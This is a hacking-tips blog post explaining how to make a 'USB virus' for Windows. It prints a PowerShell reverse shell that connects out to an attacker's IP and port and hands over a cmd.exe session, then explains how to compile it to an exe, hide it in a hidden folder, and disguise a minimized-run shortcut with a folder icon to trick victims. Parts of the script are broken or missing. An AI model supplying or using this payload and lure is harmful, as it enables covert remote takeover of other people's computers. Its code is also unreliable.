Computer SecurityComputer Tips And TricksHacking Tips & TricksSecurity Tips & Tricks

How To Make Hax USB Virus For Windows

Make Hax USB Virus For Windows

So I recently got a new MacBook and so I can create some fun stuff with that after I finish installing Kali Linux and getting ethernet to USB connector so I can set up the Broadcom Wireless.

I found a USB stick (which was my sisters) and she didn’t want it, so what can I do with a USB stick? Malware, PowerShell reverse shells to be exact. I generated a PowerShell Reverse.txt file in SEToolkit and this is what it looks like:


function cleanup {

if ($client.Connected -eq $true) {$client.Close()}

if ($process.ExitCode -ne $null) {$process.Close()}


// Setup IPADDR

$address = ‘PUT YOUR IP HERE (and keep the quotes)’

// Setup PORT

$port = ‘YOUR PORT HERE (keep quotes again)’

$client = New-Object


$stream = $client.GetStream()

$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize

$process = New-Object System.Diagnostics.Process

$process.StartInfo.FileName = ‘C:\\windows\\system32\\cmd.exe’

$process.StartInfo.RedirectStandardInput = 1

$process.StartInfo.RedirectStandardOutput = 1

$process.StartInfo.UseShellExecute = 0


$inputstream = $process.StandardInput

$outputstream = $process.StandardOutput

Start-Sleep 1

$encoding = new-object System.Text.AsciiEncoding

while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())}


$out = $null; $done = $false; $testing = 0;

while (-not $done) {

if ($client.Connected -ne $true) {cleanup}

$pos = 0; $i = 1

while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) {

$read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length – $pos)

$pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}

if ($pos -gt 0) {

$string = $encoding.GetString($networkbuffer,0,$pos)


start-sleep 1

if ($process.ExitCode -ne $null) {cleanup}

else {

$out = $encoding.GetString($outputstream.Read())

while($outputstream.Peek() -ne -1){

$out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ”}}


$out = $null


$string = $null}} else {cleanup}}

So…? Well after you copy this into a text file and put in your IP and the port you want to listen on
you can save the file as a .ps1 and convert it to a .exe and slap that bad boy on a USB drive.
But this is obvious, everyone knows not to open an exe file on a USB drive, so let’s hide it. Go to your USB drive and make a new folder, right click and open properties and check “Hidden” hit apply and then OK. Then go to view and check “Hidden Items”, and there’s your folder slightly transparent. Put the exe file that was made 4 lines above and plop it in the folder. Now you have a hidden virus, so now make a shortcut of it and drag it out of the folder to the USB drive, then right click and go to properties and click “Change Icon” and change it to a folder and then change to run as minimized. Now you have a hidden virus ready to be executed.
Thanks to Seytonic for inspiring this post.

Related Articles

Back to top button
error: Alert: Content is protected !!